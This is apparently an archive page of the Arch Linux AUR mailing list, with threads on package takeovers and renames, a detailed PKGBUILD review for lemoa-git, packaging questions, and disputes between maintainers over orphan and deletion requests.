hello i'm the project maintainer of Google Benchmark which is in AUR as benchmark-git (https://aur.archlinux.org/packages/benchmark-git) the AUR package is out of date, and i've confirmed with the current maintainer (cc'd) that they're happy for me to take over and update it. my username on AUR is dma. thanks

2 1

Fwd: [PRQ#43592] Deletion Request for vte-git
by Pellegrino Prevete 05 Jul '23

05 Jul '23

Now there is a troll on `vte-git` marking the package as duplicate despite being the most correct one. Reporter says the package is used to bother the original maintainer, when the opposite happened from the beginning. This request also comes from an anonymous account. I think what is happening is more than shameful. Not good, not good at all. I don't want years of peaceful contributions and reputation building ruined by an anonymous troll who uses aur technical shortcomings (difficulty in comparing time of events across packages) to attack others and then acts as the victim. ---------- Forwarded message --------- Da: <notify(a)aur.archlinux.org> Date: mar 4 lug 2023 alle ore 23:53 Subject: [PRQ#43592] Deletion Request for vte-git To: <aur-requests(a)lists.archlinux.org> Cc: <pellegrinoprevete(a)gmail.com>, <masonspeck1(a)gmail.com> msnspk [1] filed a deletion request for vte-git [2]: Duplicates the vte3-git and vte4-git packages already found in the AUR. Maintainer seems to be using these packages to harass other maintainers [1] https://aur.archlinux.org/account/msnspk/ [2] https://aur.archlinux.org/pkgbase/vte-git/

2 1

Fwd: [PRQ#41328] Orphan Request for sushi-git Accepted
by Pellegrino Prevete 04 Jul '23

04 Jul '23

This statement is false; the package has been orphaned one day after I updated it. Gromit is the same person who rejected request to merge conflicting vte3-git and vte4-git into non-conflicting vte-git metapackage the other day. ---------- Forwarded message --------- Da: <notify(a)aur.archlinux.org> Date: lun 19 giu 2023 alle ore 13:30 Subject: [PRQ#41328] Orphan Request for sushi-git Accepted To: <aur-requests(a)lists.archlinux.org> Cc: <pellegrinoprevete(a)gmail.com>, <aur(a)mentalfossa.com> Request #41328 has been Accepted by gromit [1]: Maintainer did not fix dependency issues in over a month, even when being repeatedly asked to do so. [1] https://aur.archlinux.org/account/gromit/

2 2

vte-git, vte-common and toxic trolls
by Pellegrino Prevete 04 Jul '23

04 Jul '23

Hello, upstream ('extra' repo), at some point the vte3 package has been split into vte-common, vte3 and vte4. vte3 and vte4 do not conflict and they both depend on vte-common. On the aur, the vte3-git package was recently orphaned and was adopted by that absurd guy I had the misfortune to interact with a couple months ago already. You know, the one who has kept its obscene insults towards me online in that package comments without any shame. So, this person hoards both vte3-git and vte4-git and keeps them conflicting. Now a couple days ago even a trusted user intervened erroneously; I assume he didn't pay much attention to dates or changes upstream. What's happening bothers me to the point I think I'd like to ask two of you to act as trustees for a TU election round. I maintain around 700 packages and I will maintain way more very soon.

2 1

Re: pkgbuild
by Robin Candau 04 Jul '23

04 Jul '23

Le 03/07/2023 à 22:20, james smith a écrit : > one last question before adding it to the aur 1) can I have multiple > emails for the maintainer so that I have a backup incase one email > goes down 2) if the package goes to the main repos will I be the > maintainer or will the person who brought it to the main repos be the > maintainer 1) I'm not sure what you mean by "goes down". The email you filled in is a gmail address, I doubt it will often (if not "ever") go down :p If you meant that as if you ever decide to take that email down for any reason, then you can just update your email address in the PKGBUILD. Anyway, you /could/ have multiple emails in the PKGBUILD but the idea here is mostly to have a way to contact you directly if you're not responding to comments on the package's AUR webpage. One email address is fine :) 2) AUR packages are contributions made to the Arch Linux project and does not "belong" to the person who submitted or maintain them. In that sense, if an AUR package is moved to the main repos, the Arch package maintainer who did it becomes the new maintainer but you'll be listed as a "contributor" in the PKGBUILD. However, this cannot happen with that particular package because VCS/git packages are not allowed on the main repos, so "lemoa*-git*" won't ever go to the main repos. > > On Mon, Jul 3, 2023 at 7:12 AM Robin Candau <antiz(a)archlinux.org> wrote: > > Le 03/07/2023 à 07:00, james smith a écrit : >> Now after making those changes running it, it doesn't correctly >> git clone Neither source directory 'source' nor build directory >> 'build' contain a build file meson.build. and I believe this >> command is the culprit |printf "%s.r%s.%s" "$(git describe --tags >> --abbrev=0 | sed 's/^v//')" "$(git rev-list --count HEAD)" "$(git >> rev-parse --short HEAD)"| because it git clones it "empty" as >> just the .git folder. Not all files https://bpa.st/XA5JI >> apologies for the redundant questions > The culprit is that you copied the "meson setup" command from the > wiki without actually adapting it to your case. The "source" and > "build" statements in it have to be replaced by the actual > "source" and "build" directory of the repo you're trying to build > (notice how "source" and "build" are written in /italic/ in the > wiki [1], indicating that they have to be adapted to your case). > Also, you have to `cd` first to the cloned repo before launching > build instructions. > > Finally, "libadwaita" should be an actual dependency (not simply a > make one) I think. > > Here's a fixed PKGBUILD: > https://bpa.st/BTXWE > > I allowed myself to also make some small "best practices" and > "style" improvements to it as well: re-add the trailing ".git" at > the end of the source, switch to sha256 instead of md5 (I know the > checksum is skipped there, but better take the habit to use a > stronger algorithm for the potential future), better indentation > in functions, etc... > > [1] > https://wiki.archlinux.org/title/Meson_package_guidelines#Using_meson_binar… > > -- > Regards, > Robin Candau / Antiz > -- Regards, Robin Candau / Antiz

1 0

PKGBUILD for pissircd-git
by Ross Burton 03 Jul '23

03 Jul '23

Hey and hello, new here, and am wondering how to submit a patch to a file... specifically the PKGBUILD for the package pissircd-git -- I've been copying my own PKGBUILD file over during the generation of a package build to avoid having it try to create a socket file in my home directory. Been doing this for a long time, and am wondering how to make it more permanent. I've included the patch, but again, I'm new and don't know where to send it. It's very simple (adding one line to the configuration) and I'm putting the file in /run/pissircd/ircd.sock, which unrealircdctl communicates to correctly. Anyway, again, I'm new to this. Help would be appreciated Thanks, -- Ross (headrift) Burton

2 1

Re: pkgbuild
by Robin Candau 03 Jul '23

03 Jul '23

Le 03/07/2023 à 07:00, james smith a écrit : > Now after making those changes running it, it doesn't correctly git > clone Neither source directory 'source' nor build directory 'build' > contain a build file meson.build. and I believe this command is the > culprit |printf "%s.r%s.%s" "$(git describe --tags --abbrev=0 | sed > 's/^v//')" "$(git rev-list --count HEAD)" "$(git rev-parse --short > HEAD)"| because it git clones it "empty" as just the .git folder. Not > all files https://bpa.st/XA5JI apologies for the redundant questions The culprit is that you copied the "meson setup" command from the wiki without actually adapting it to your case. The "source" and "build" statements in it have to be replaced by the actual "source" and "build" directory of the repo you're trying to build (notice how "source" and "build" are written in /italic/ in the wiki [1], indicating that they have to be adapted to your case). Also, you have to `cd` first to the cloned repo before launching build instructions. Finally, "libadwaita" should be an actual dependency (not simply a make one) I think. Here's a fixed PKGBUILD: https://bpa.st/BTXWE I allowed myself to also make some small "best practices" and "style" improvements to it as well: re-add the trailing ".git" at the end of the source, switch to sha256 instead of md5 (I know the checksum is skipped there, but better take the habit to use a stronger algorithm for the potential future), better indentation in functions, etc... [1] https://wiki.archlinux.org/title/Meson_package_guidelines#Using_meson_binar… -- Regards, Robin Candau / Antiz

1 0

Re: pkgbuild
by Robin Candau 02 Jul '23

02 Jul '23

/Transferring OP's reply to the proper mailing list/. > On Sun, Jul 2, 2023 at 6:59 PM Robin Candau <antiz(a)archlinux.org> wrote: > > Le 02/07/2023 à 04:20, james smith a écrit : >> I am trying to package this https://github.com/lemmygtk/lemoa >> this is my pkgbuild any tips on how to improve it before I send >> it to aur is appreciated > > Hi James, > > _/Quick note before reviewing your PKGBUILD:/_ > /When asking for a review, try to make your PKGBUILD publicly > readable somewhere (by posting it in paste service for instance, > like https://bpa.st/ or https://gist.github.com/) This is way > easier to track as the discussion progresses and way more "trust > worthy" than an attached file sent to a mailing list. > //For everyone's context, here's the initial PKGBUILD provided for > a review:/ > https://bpa.st/TXEW2 > > In it's current state, your PKGBUILD won't work and needs some > modifications and improvements. > Here's what I can list after a quick review: > > - The comments at the top provided by the PKGBUILD example file > should be removed. > > - You can remove variables/arrays that are empty/unused in your > PKGBUILD (epoch, groups, checkdepends, etc...). > > - Consider filling out the maintainer info at the top of the > PKGBUILD. This isn't mandatory but it is recommended and appreciated. > > - The pkgname you chose refers to a VCS package ("lemoa*-git*"). > If you indeed want your package to be a VCS package (meaning that > it relies on the latest upstream commit instead of a specific > tag/release) then you have to adapt your PKGBUILD accordingly with > a proper "pkgver()" function [1]. > Otherwise, switch your "pkgname" to "lemoa" and update the rest of > the PKGBUILD accordingly. > > - 'GNU' isn't a valid license. The correct license for "lemoa" > currently is 'GPL3' [2]. See also the license section of the > PKGBUILD wiki page for more information [3]. > > - The 'Gtk' package listed in the "depends" array isn't a valid > package. "Lemoa" seems to depends on GTK-4 [4] which can be > installed via the "gtk4" package in Arch [5]. > > - Upstream documentation also lists "rust, cargo and pkg-config" > as "Build dependencies" [4]. According to that, you should add the > "cargo" package (which also provides "rust") to your "makedepends" > array. > However, you don't have to explicitly list the "pkg-config" > package (provided by the "pkgconf" package in Arch [6]) because it > is a member of the "base-devel" meta-package [7] which is assumed > installed during build-time [8]. > > - The "install" variable expects the name of an optional > ".install" script used to perform tasks before or after the > install, the upgrade and/or the removal of the package [9], it > isn't meant to store a "raw" command like you did. At first > glance, there's no need for an install script in your case so you > can remove that variable. > > - The "source" array is wrong and will fail to download the repo. > It should be "git*+*$url" instead of "git*=*$url". See the VCS > sources section of the wiki for more information [10]. Just for > the sake of it, I'll add the usual trailing ".git" at the end, > like so: source=("git+${url}.git") > > - Because the sources are not static in a VCS package, you have > to explicitly skip the checksum by adding 'SKIP' to the "md5sums" > array [11]. Letting it empty will not work. > On a side note, I recommend switching to a more modern and secure > hash algorithm generally speaking ("sha256sums" for instance). > > - You shouldn't "git clone" the repo inside the "build()" > function. This is implicitly done beforehand by filling the > correct/proper sources in the "source" array. > > - The "ninja -C _build install" part as to be called within the > "package()" function. You'll also need to setup the destination > directory to "$pkgdir" which is the temporary directory where > "makepkg" builds and bundles the package [12]. See the "package()" > section of the Meson packaging guidelines for more information [13]. > > Overall, I advice you to read closely the three following Arch > wiki pages which should contain most of the information you'll > need to write a proper PKGBUILD for "lemoa-git": > - PKGBUILD [14] > - VCS Packaging Guidelines [15] > - Meson Packaging Guidelines [16] > > I hope this helps :) > Don't hesitate to ask for details or further questions if needed! > > [1] > https://wiki.archlinux.org/title/VCS_package_guidelines#The_pkgver()_functi… > [2] https://github.com/lemmygtk/lemoa/blob/main/LICENSE > [3] https://wiki.archlinux.org/title/PKGBUILD#license > [4] https://github.com/lemmygtk/lemoa#build-dependencies > [5] https://archlinux.org/packages/extra/x86_64/gtk4/ > [6] https://archlinux.org/packages/core/x86_64/pkgconf/ > [7] https://archlinux.org/packages/core/any/base-devel/ > [8] https://wiki.archlinux.org/title/PKGBUILD#makedepends > [9] https://wiki.archlinux.org/title/PKGBUILD#install > [10] > https://wiki.archlinux.org/title/VCS_package_guidelines#VCS_sources > [11] > https://wiki.archlinux.org/title/VCS_package_guidelines#Authentication_and_… > [12] > https://wiki.archlinux.org/title/Creating_packages#Defining_PKGBUILD_variab… > [13] > https://wiki.archlinux.org/title/Meson_package_guidelines#package() > [14] https://wiki.archlinux.org/title/PKGBUILD > [15] https://wiki.archlinux.org/title/VCS_package_guidelines > [16] https://wiki.archlinux.org/title/Meson_package_guidelines > > -- > Regards, > Robin Candau / Antiz > Le 02/07/2023 à 21:26, james smith a écrit : fixed some of the suggestions you had https://mystb.in/AuroraStreamAdjacent is it ok that my email is md5 hashed instead of just the email? Well, according to the fact that filling your email address at the top of the PKGBUILD isn't mandatory per say, this is better than nothing but not so "accessible". If this is a matter of protecting yourself from eventual bots or something, you could do something like "address[at]mail[dot]com" which is eventually more accessible. But the final decision is up to you, no obligation there. Regarding your PKGBUILD, there are still some modifications to make as far as I can see: - The maintainer information has to be contained inside a comment, otherwise your PKGBUILD won't work: # Maintainer: Your Name <Your email address> - The "pkgver()" function does not replace the "pkgver" variable, it just updates it automatically each time makepkg is ran against the PKGBUILD (according to the latest upstream commit). You should put back the "pkgver" variable where it was and put the "pkgver()" function before the "build()" function. Once done, building the package against the PKGBUILD will automatically update the "pkgver" value. - Generally speaking, you should list every first level dependencies even if some are already implicitly satisfied by another package. However, some exceptions can be done when you're absolutely sure that a package cannot ever stop pulling another one as a dependency. According to that, you don't necessarily have to explicitly list "rust" as a dependency as it is already pulled by "cargo" and we're sure that "cargo" won't ever stop pulling "rust" as a dependency since "cargo" is the "rust package manager". See the "depends" section of the PKGBUILD wiki page for more information [1]. - No need to keep the empty "noextract" array. - One thing I forgot to mention in my initial reply is that your package has to "conflict" and "provide" the "lemoa" package in order to avoid issues if someone tries to install both on the same system (even though the "lemoa" package does not exists */yet/*). To do so you have to use a "provides" and "conflicts" arrays in your PKGBUILD. See the related section of the PKGBUILD arch wiki page [2] [3]. [1] https://wiki.archlinux.org/title/PKGBUILD#depends [2] https://wiki.archlinux.org/title/PKGBUILD#provides [3] https://wiki.archlinux.org/title/PKGBUILD#conflicts -- Regards, Robin Candau / Antiz

1 0

Re: pkgbuild
by Robin Candau 02 Jul '23

02 Jul '23

Also, the proper mailing list to ask for a PKGBUILD review is aur-general(a)lists.archlinux.org. I haven't noticed you used aur-dev(a)lists.archlinux.org instead when I replied the first time so I forwarded the discussion to the proper mailing list this time via this reply. Let's continue this discussion here please :) For everyone's context, here's the initial PKGBUILD provided for a review: https://bpa.st/TXEW2 -- Regards, Robin Candau / Antiz Le 02/07/2023 à 20:59, Robin Candau a écrit : > Le 02/07/2023 à 04:20, james smith a écrit : >> I am trying to package this https://github.com/lemmygtk/lemoa this is >> my pkgbuild any tips on how to improve it before I send it to aur is >> appreciated > > Hi James, > > _/Quick note before reviewing your PKGBUILD:/_ > /When asking for a review, try to make your PKGBUILD publicly readable > somewhere (by posting it in paste service for instance, like > https://bpa.st/ or https://gist.github.com/) This is way easier to > track as the discussion progresses and way more "trust worthy" than an > attached file sent to a mailing list. / > > In it's current state, your PKGBUILD won't work and needs some > modifications and improvements. > Here's what I can list after a quick review: > > - The comments at the top provided by the PKGBUILD example file should > be removed. > > - You can remove variables/arrays that are empty/unused in your > PKGBUILD (epoch, groups, checkdepends, etc...). > > - Consider filling out the maintainer info at the top of the PKGBUILD. > This isn't mandatory but it is recommended and appreciated. > > - The pkgname you chose refers to a VCS package ("lemoa*-git*"). If > you indeed want your package to be a VCS package (meaning that it > relies on the latest upstream commit instead of a specific > tag/release) then you have to adapt your PKGBUILD accordingly with a > proper "pkgver()" function [1]. > Otherwise, switch your "pkgname" to "lemoa" and update the rest of the > PKGBUILD accordingly. > > - 'GNU' isn't a valid license. The correct license for "lemoa" > currently is 'GPL3' [2]. See also the license section of the PKGBUILD > wiki page for more information [3]. > > - The 'Gtk' package listed in the "depends" array isn't a valid > package. "Lemoa" seems to depends on GTK-4 [4] which can be installed > via the "gtk4" package in Arch [5]. > > - Upstream documentation also lists "rust, cargo and pkg-config" as > "Build dependencies" [4]. According to that, you should add the > "cargo" package (which also provides "rust") to your "makedepends" array. > However, you don't have to explicitly list the "pkg-config" package > (provided by the "pkgconf" package in Arch [6]) because it is a member > of the "base-devel" meta-package [7] which is assumed installed during > build-time [8]. > > - The "install" variable expects the name of an optional ".install" > script used to perform tasks before or after the install, the upgrade > and/or the removal of the package [9], it isn't meant to store a "raw" > command like you did. At first glance, there's no need for an install > script in your case so you can remove that variable. > > - The "source" array is wrong and will fail to download the repo. It > should be "git*+*$url" instead of "git*=*$url". See the VCS sources > section of the wiki for more information [10]. Just for the sake of > it, I'll add the usual trailing ".git" at the end, like so: > source=("git+${url}.git") > > - Because the sources are not static in a VCS package, you have to > explicitly skip the checksum by adding 'SKIP' to the "md5sums" array > [11]. Letting it empty will not work. > On a side note, I recommend switching to a more modern and secure hash > algorithm generally speaking ("sha256sums" for instance). > > - You shouldn't "git clone" the repo inside the "build()" function. > This is implicitly done beforehand by filling the correct/proper > sources in the "source" array. > > - The "ninja -C _build install" part as to be called within the > "package()" function. You'll also need to setup the destination > directory to "$pkgdir" which is the temporary directory where > "makepkg" builds and bundles the package [12]. See the "package()" > section of the Meson packaging guidelines for more information [13]. > > Overall, I advice you to read closely the three following Arch wiki > pages which should contain most of the information you'll need to > write a proper PKGBUILD for "lemoa-git": > - PKGBUILD [14] > - VCS Packaging Guidelines [15] > - Meson Packaging Guidelines [16] > > I hope this helps :) > Don't hesitate to ask for details or further questions if needed! > > [1] > https://wiki.archlinux.org/title/VCS_package_guidelines#The_pkgver()_functi… > [2] https://github.com/lemmygtk/lemoa/blob/main/LICENSE > [3] https://wiki.archlinux.org/title/PKGBUILD#license > [4] https://github.com/lemmygtk/lemoa#build-dependencies > [5] https://archlinux.org/packages/extra/x86_64/gtk4/ > [6] https://archlinux.org/packages/core/x86_64/pkgconf/ > [7] https://archlinux.org/packages/core/any/base-devel/ > [8] https://wiki.archlinux.org/title/PKGBUILD#makedepends > [9] https://wiki.archlinux.org/title/PKGBUILD#install > [10] https://wiki.archlinux.org/title/VCS_package_guidelines#VCS_sources > [11] > https://wiki.archlinux.org/title/VCS_package_guidelines#Authentication_and_… > [12] > https://wiki.archlinux.org/title/Creating_packages#Defining_PKGBUILD_variab… > [13] https://wiki.archlinux.org/title/Meson_package_guidelines#package() > [14] https://wiki.archlinux.org/title/PKGBUILD > [15] https://wiki.archlinux.org/title/VCS_package_guidelines > [16] https://wiki.archlinux.org/title/Meson_package_guidelines > > -- > Regards, > Robin Candau / Antiz

1 0

Rename AUR package
by Aditya Mahajan 29 Jun '23

29 Jun '23

Hi, I am the maintainer of the AUR package [luametatex](https://aur.archlinux.org/packages/luametatex) which provides the luametatex binary + the context macro package. Recently, a new package named [luametatex](https://archlinux.org/packages/extra/x86_64/luametatex/) was added to extra, which provides the luametatex binary. I realize now that the name of my AUR package is not appropriate and I should have used a more elaborate name (either context-luametatex or context-lmtx). Is it possible to rename the package? Or should I delete the current package and simply create a new one with a more elaborate name? Thanks, Aditya

3 3

llvm 16.x
by Mohan R 24 Jun '23

24 Jun '23

Hi, What happened to llvm 16.x? It was released three months ago. I tried to update the PKGBUILD locally to 16.x, this is what I got https://paste.rs/9R0Mk This issue should have been prevented if we used Source.tar.gz with a single PKGBUILD and should build different packages from this single source (like clang, lld, llvm, llvm-libs etc). Instead, we have three different PKGBUILD files (one for clang, one for lld, one for llvm+llvm-libs). why? I'm a long time arch user, when I started arch, I loved it because of how easy it was to take an official PKGBUILD file for an upstream project, bump the version and get the latest binaries in a single package, it was fairly simple. Now, lot of upstream projects was split into multiple packages (eg: qemu), I can understand the reason for the qemu package split, at least we have a single PKGBUILD to generate multiple qemu packages but this llvm split with multiple PKGBUILD is not helping us to move forward easily. It is stuck at 15.x. I think this is not supposed to be Arch's way. Thanks, Mohan R

3 4

API for AUR?
by Polarian 21 Jun '23

21 Jun '23

Hello, I am not sure if it exists, but if there is an API for the AUR could someone link me to the documentation on it? I am aware there is an rss feed for package updates, but I want to be able to parse information about a package. I assume there isn't and the only way to do it is to clone the repository and parse the .SRCINFO or PKGBUILD file for the information? Any pointers would be useful. Thanks, -- Polarian GPG signature: 0770E5312238C760 Website: https://polarian.dev JID/XMPP: polarian(a)polarian.dev

7 10

Conflicting go package naming
by Polarian 19 Jun '23

19 Jun '23

Hello, The naming for go packages seems inconsistent, I can see both go-* and golang-* on official and AUR packages, which am I meant to use as go-* seems to be more popular but according to the guidelines golang-* is what is meant to be used. So which should be used? and why are they differing? is either accepted? I do not know which to use, and I don't want to push a new package until I know, sorry for the noise for such a simple question but better do it right the first time, so I don't need to fix it in the future :) Thank you in advance, -- Polarian GPG signature: 0770E5312238C760 Website: https://polarian.dev JID/XMPP: polarian(a)polarian.dev

9 32

package aid - tmpfiles.d problems
by Polarian 15 Jun '23

15 Jun '23

Hello, So I have been attempting to package an irc bot for the aur, because I know a good 3 people or more now who are manually installing it on their arch servers so I decided to attempt to package it. I decided to use gitea as a good reference as it contains the sysusers configuration and also tmpfiles configuration as well. However for some reason when I attempt to adapt it, I get an error, I have not yet pushed the package to the aur and won't until its working so please check it here: https://git.polarian.dev/AUR/irc-uberbot-git I am aware for those rust packagers out there that I have not included "--locked" when fetching the crates, unfortunately upstream has not maintained their dependencies therefore cargo will not build unless "--locked" is removed, I will probably patch this shortly. The following error when I attempt to install this package which I need help in fixing: Detected unsafe path transition /etc/uberbot (owned by uberbot) → /etc/uberbot/config.toml (owned by root) during canonicalization of etc/uberbot/config.toml. error: command failed to execute correctly I do not see why this is happening for me but when I install gitea it works just fine :/ Its probably something really obvious, but I would still appreciate an explanation as I have not worked with tmpfiles very much so I am very naive, so please play nice :P Thanks in advance, -- Polarian GPG signature: 0770E5312238C760 Website: https://polarian.dev JID/XMPP: polarian(a)polarian.dev

6 11

VCS package check - chuncord-git
by Polarian 10 Jun '23

10 Jun '23

Hello, I just want some quick feedback on a package I made a few days ago, this was my first time writing a VCS package, so I want to make sure I have done everything properly: https://aur.archlinux.org/packages/chuncord-git Please let me know if I have done anything wrong. Thank you, -- Polarian GPG signature: 0770E5312238C760 Website: https://polarian.dev JID/XMPP: polarian(a)polarian.dev

2 2

Autobot caught in use?
by Polarian 03 Jun '23

03 Jun '23

Hello, I was looking at the AUR today and I have realised a ton of packages with the prefix r-<package name> being updated within a minute of each other, and then found the user to be publishing them: https://aur.archlinux.org/account/BioArchLinuxBot By the name it seems this is a Bot, Anthraxx and Jelle have already discussed how this is not acceptable in a previous thread, see: https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/m… https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/m… A draft has also been submitted on the ArchWiki to set this into stone: https://wiki.archlinux.org/title/Talk:AUR_submission_guidelines#Automation_… Therefore I am bringing this user, and the packages which this has occurred on to the TUs here. I have also attached an image to this email which is a screenshot of the recently updated packages, you can use the rss feeds to back this up as well, it clearly shows that a large number of r packages were updated BY THE SAME USER within the span of 10 minutes. Let me know what you think :) Have a good day, -- Polarian GPG signature: 0770E5312238C760 Website: https://polarian.dev JID/XMPP: polarian(a)polarian.dev

6 7

Questions on JDK naming
by Tommaso Dordoni 02 Jun '23

02 Jun '23

Hello, I recently started contributing to the AUR and I have some questions on JDK naming. I submitted a package called “jdk17-azul-prime-bin” yesterday, but then I realized that other Zulu jdk packages follow a different naming convention, such as “zulu-8-bin”, “zulu-17-bin”, “zulu-20-bin”... For consistency, I requested a merge to rename my package as “zulu-prime-17-bin”. Was that a good decision? In general, what is the best way to name JDK and JRE packages? For instance, how should I name the JDK and JRE Zulu Prime packages for Java 8 to differentiate them? Thank you

2 1

Harrassment?
by Pellegrino Prevete 13 May '23

13 May '23

the "xiota" aur user, I never talked even once as far as I remember, and who somehow came to maintain "gnome-contact-git", defined me "a squatter who has never pushed an update to packages" in an orphan request. I'm notifying him I have reported the issue here. Cheers

3 2

Binary AUR packages when associated packages exist in the repos
by é 12 May '23

12 May '23

I would like to reopen the discussion to delete a package (yuzu-mainline-bin) that exists in [community] (yuzu). As per AUR guidelines [1]: >The submitted PKGBUILDs must not build applications already in any of >the official binary repositories under any circumstances. Check the >official package database for the package. If any version of it exists, >do not submit the package. If the official package is out-of-date, flag >it as such. If the official package is broken or is lacking a feature, >then please file a bug report. > >Exception to this strict rule may only be packages having extra >features enabled and/or patches in comparison to the official ones. In >such an occasion the pkgname should be different to express that >difference. For example, a package for GNU screen containing the >sidebar patch could be named screen-sidebar. Additionally the >provides=('screen') array should be used in order to avoid conflicts >with the official package. yuzu-mainline-bin provides zero extra features or functionality compared to the repo build, at least, no one has yet mentioned such. The name itself refers to yuzu-mainline which is exactly what the repo package is building. As a result I filed a deletion request, but this was apparently rejected [2] with the reasoning that "Yuzu only seems to support binaries", along with some links to comments from upstream as well as a link to a previous thread [3] on the ML from 2021 where this topic was mentioned before. The other point mentioned in the AUR package comments [4] is that the repo version can be out of date frequently. Again, that is addressed in the quote above, still doesn't justify the AUR package. To me, the entire purpose of having the official repos is to have binary builds (presumably done in a clean environment with some minimal source verification), so we don't have to rely on arbitrary developers to have clean environments and only really need to trust the TUs who build that package. If there are issues with a package, they are first reported to Arch maintainers via bug report (this is in accordance with the "please file a bug report" in the quoted passage above). This applies to any package, and yuzu is neither an exception nor special case here. Also the entire point of having distros in the first place is that you have someone (who is usually not upstream) maintaining the package and making sure it slots well into your system. I don't know of any package in any distro where the distro builds the package, but upstream is expected to support it. So why should a specific -bin package exist in the AUR just because upstream is in accordance with decades of tradition? Either way they clearly do not want unnecessary bug reports from inexperienced users [5], so any Arch user reporting a bug with the repo package upstream would be unhelpful to both Arch and Yuzu. Best, éclairevoyant [1] https://wiki.archlinux.org/title/AUR_submission_guidelines#Rules_of_submiss… [2] https://lists.archlinux.org/archives/list/aur-requests@lists.archlinux.org/… [3] https://lists.archlinux.org/pipermail/aur-dev/2021-December/005056.html [4] https://aur.archlinux.org/packages/yuzu-mainline-bin#comment-913540 [5] https://github.com/yuzu-emu/yuzu/blob/master/.github/ISSUE_TEMPLATE/bug_rep…

4 4

Re: Broken Package
by paul.mirkwood 09 May '23

09 May '23

Thanks artafinde for the clarification, and thanks also Polarian, your explanations were worth reading! > As an additional sidenode, if the issue you want to report is that the package is > broken because it can't be built, the maintainer has already highlighted that it is due > to gcc update, and they are awaiting upstream to patch the issue. That was posted 3 > days ago so I assume it is still valid right now as I do not see any recent commits to > the AUR for this package. (not since 2023-04-18) This is indeed what I'm talking about, sorry I should've read the comments on Aurweb before posting here. Since the problem has already been reported, I feel like there's no more to do but waiting if the maintainer is willing to backport the patch. I totally understand that packages may break, I was kind of wondering why upstream would have released a non-compiling version, but I have the explanation now. Have a good day/night, Mirkwood

2 2

Broken package
by paul.mirkwood 09 May '23

09 May '23

Hello everyone, I'm pretty new here so I hope you will forgive me if my question isn't appropriate. I don't want to blame anyone, but is it normal that non -git packages may be broken? (maybe it is, I genuinely don't know) Currently, the mangohud package is broken even though upstream has fixed the bug. The mangohud-git package is also fine. Best regards, and thanks for your answers, Mirkwood ------- Forwarded Message ------- De : paul.mirkwood <paul.mirkwood(a)protonmail.com> Date : mardi 9 mai 2023 à 10:51 PM Objet : Broken package À : aur-general(a)lists.archlinux.org <aur-general(a)lists.archlinux.org> > Hello everyone, > > I'm pretty new here so I hope you will forgive me if my question isn't appropriate. > I don't want to blame anyone, but is it normal that non -git packages may be broken? > (maybe it is, I genuinely don't know) > Currently, the mangohud package is broken even though upstream has fixed the bug. > The mangohud-git package is also fine. > > Best regard, and thanks for your answers, > Mirkwood

3 3